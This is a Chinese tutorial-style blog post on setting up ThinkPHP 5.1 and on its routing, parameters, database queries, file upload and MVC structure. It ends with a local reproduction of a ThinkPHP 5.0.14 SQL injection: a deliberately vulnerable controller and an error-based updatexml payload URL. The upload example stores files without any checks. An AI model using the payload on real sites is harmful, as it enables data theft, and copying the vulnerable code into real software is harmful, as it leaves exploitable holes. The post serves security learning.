tp优点:1、框架开发 2、存在内置保护
一、配置compose & tp5.1
Thinkphp5.1 安装步骤_thinkphp5.1安装-CSDN博客
注意点:将php.ini的open_basedir进行注释,因为open_basedir会限制composer去读取随机c盘路径,所以我们需要注释掉它。其他就依据师傅的博文进行操作即可。
1、composer的配置
1)首先下载composer.exe
2)本地下载好composer
点击Composer-Setup.exe,进行本地安装。
一直下一步即可。
注意:如果报了路径错误,类似于下方这样的报错tips,是由于open_basedir
安全限制,只允许访问给的路径,composer是访问的c盘路径,每次随机生成文件,所以被限制访问导致composer下载失败。
PS M:\Maizi_web_safe\xiaodi-kaifa\demo1-liuyanban> php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" PHP Warning: copy(): open_basedir restriction in effect. File(https://getcomposer.org/installer) is not within the allowed path(s): (M:\Maizi_web_safe\xiaodi-kaifa) in Command line code on line 1
我们就将php.ini进行修改,将open_basedir这一行进行注释。
3)测试composer下载成功
phpstorm的终端进行测试,输入composer回车
4)查看下载路径下是否生成实际文件
2、tp5.1的配置
法1:直接拉取tp5.1版本
1)安装tp5.1
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
composer create-project topthink/think tp5
2) 查看tp5.1拉取结果
3)挂上小皮看结果
访问一下看看结果,成功。
法2:直接将源码包拷入demo1,挂小皮看结果(我直接用的小迪的源码)
也是可以的,主要是直接拉取tp5.1,他由public文件夹访问index的逻辑不如源码包清晰,所以推荐去用源码包直接拉入demo1。
二、TP访问路径 ----引出路由访问
1、tp进行访问首页页面的逻辑
小皮挂的是public的文件夹,所以逻辑是:
目标访问public/中的index.php ---> 实际跳转到application/index/controller/index.php --->验证一下首页显示与实际a/i/c/index.php内容是否一致
2、路由访问
情景:当要测某个文件是否存在payload,要按照路由访问规则去访问他。
为了演示路由访问,我再定义一个方法,xiaodi()。
那么我们如何可以访问到方法xiaodi呢,就需要按照格式来进行:
路由到模块/控制器 | '[模块/控制器/操作]?额外参数1=值1&额外参数2=值2...' |
尝试按照规则进行路由访问,却失败了。
原因:TP<=5.1,不能自动隐藏入口文件,入口文件就是刚刚梳理逻辑的时候给的public/中的index.php
所以我们加上入口文件,看结果
成功!
/index.php/index/index/xiaodi
假如我再次创建一个test模块;
相比较indx.php需要做修改的地方
<?php namespace app\test\controller; use think\Controller; use think\Request; class Test extends Controller{ public function xiaodi() { return 'hahahaha'; } }
三、变量的调用
法1:规范编写【推荐】
结果:可以利用等号赋值,也可以利用/进行赋值
use think\Request;return $this->request->param('x');
用等号赋值,可以实现
用/赋值
法2:按照原生去编写【完全不推荐】
结果:只能利用等号去进行赋值,不能利用/进行赋值
可以用等号赋值,可以实现
用/赋值失败,不可以实现
这里的报错,是打开了按钮
/application/config.php
四、数据库相关操作
法1:根据tp规则去写【推荐】
结果:受到tp内置过滤的包含,sql注入风险极大降低。
我们这里重新定义一个功能,命名为mysqltest,来进行mysql数据查询的操作。
public function mysqltest()
{
$id = $this->request->param('x');
// table方法必须指定完整的数据表名
//Db::table('think_user')->where('id',1)->find();
$data = Db::table('news')->where('id',$id)->find(); //news表,当时我们做博客的表
return json($data);
}
去navicat中对应一下,发现成功
这里我们写一个and 语句,来判断是否会执行这个and语句的内容,发现不执行。
法2:根据原生 / 不完全按照规则去写【不推荐,存在payload】
原生就以之前写过的博客那个为例,可以点链接直达。没有对mysql进行任何的过滤操作,所以存在sql注入。
Day26 -php开发05 -搭建个人博客三种实现:自己写前后端 &套用现成模板 &调用第三方模板引擎smarty 及三种方法的缺点-CSDN博客
五、文件上传功能实现
1)先在public/里面给一个upload.html
方便后续小皮直接访问;
<form action="/index.php/test/test/upload" enctype="multipart/form-data" method="post"> <input type="file" name="image" /> <br> <input type="submit" value="上传" /> </form>
2)加入文件上传模块
public function upload(){ // 获取表单上传文件 例如上传了001.jpg $file = request()->file('image'); // 移动到框架应用根目录/uploads/ 目录下 $info = $file->move( '../uploads'); if($info){ // 成功上传后 获取上传信息 // 输出 jpg echo $info->getExtension(); // 输出 20160820/42a79759f284b767dfcb2a0197904287.jpg echo $info->getSaveName(); // 输出 42a79759f284b767dfcb2a0197904287.jpg echo $info->getFilename(); }else{ // 上传失败获取错误信息 echo $file->getError(); } }
3)创建一个uploads文件夹
4)访问前端文件上传页面
因为前面给html放到/public下了(小皮挂的也是/public文件夹)所以可以直接访问
可以看到uploads文件夹将我们上传上去的东西自动存储了。
六、MVC的概念
MVC : model 、 view 、controller
tp是基于mvc的框架语言,view是指前端页面设计;model是与数据库交互;controller是
接收用户需求,并调用model。
优点:
-
解耦:业务逻辑(Model)、显示逻辑(View)、控制逻辑(Controller)分离,便于维护。
-
复用性:Model 可被多个 Controller 调用,View 可复用模板。
-
适合团队协作:前端(View)和后端(Model/Controller)可以并行开发。
七、安全问题
1、代码写法不合规
如上面提到的mysql语句,不按照规则去写(纯原生不做过滤 / 写一半按照规则,另外一半按照php原生去写),就不受到tp内置过滤的保护,会有sql注入风险。
2、框架版本安全
/thinkphp/base.php去确认thinkphp是什么版本;对应不同版本我们可以去网上找相关的漏洞
我们找随机找一个进行漏洞复现。
1)给一个tp5.0.14版本进行测试 并设置好需要的地方
2)将模块定义部分进行修改
<?php namespace app\index\controller; class Index { public function index() { $username = request()->get('username/a'); db('admin')->insert(['username' => $username]); $username = request()->get('username/a'); db('admin')->where("id")->update(['username' => $username]);} }
3)进行路由访问sql注入复现
由于我开启了报错提示,不开启可以用盲注!
/index.php/index/index?username[0]=inc&username[1]=updatexml(1,concat(%27~%27,user(),%27~%27),1)&username[2]=233
但是我们一起做tp结构学习的tp5.0.22版本就不存在这个漏洞,所以说明了一个问题,不同版本对应不同漏洞,没有哪个版本绝对安全!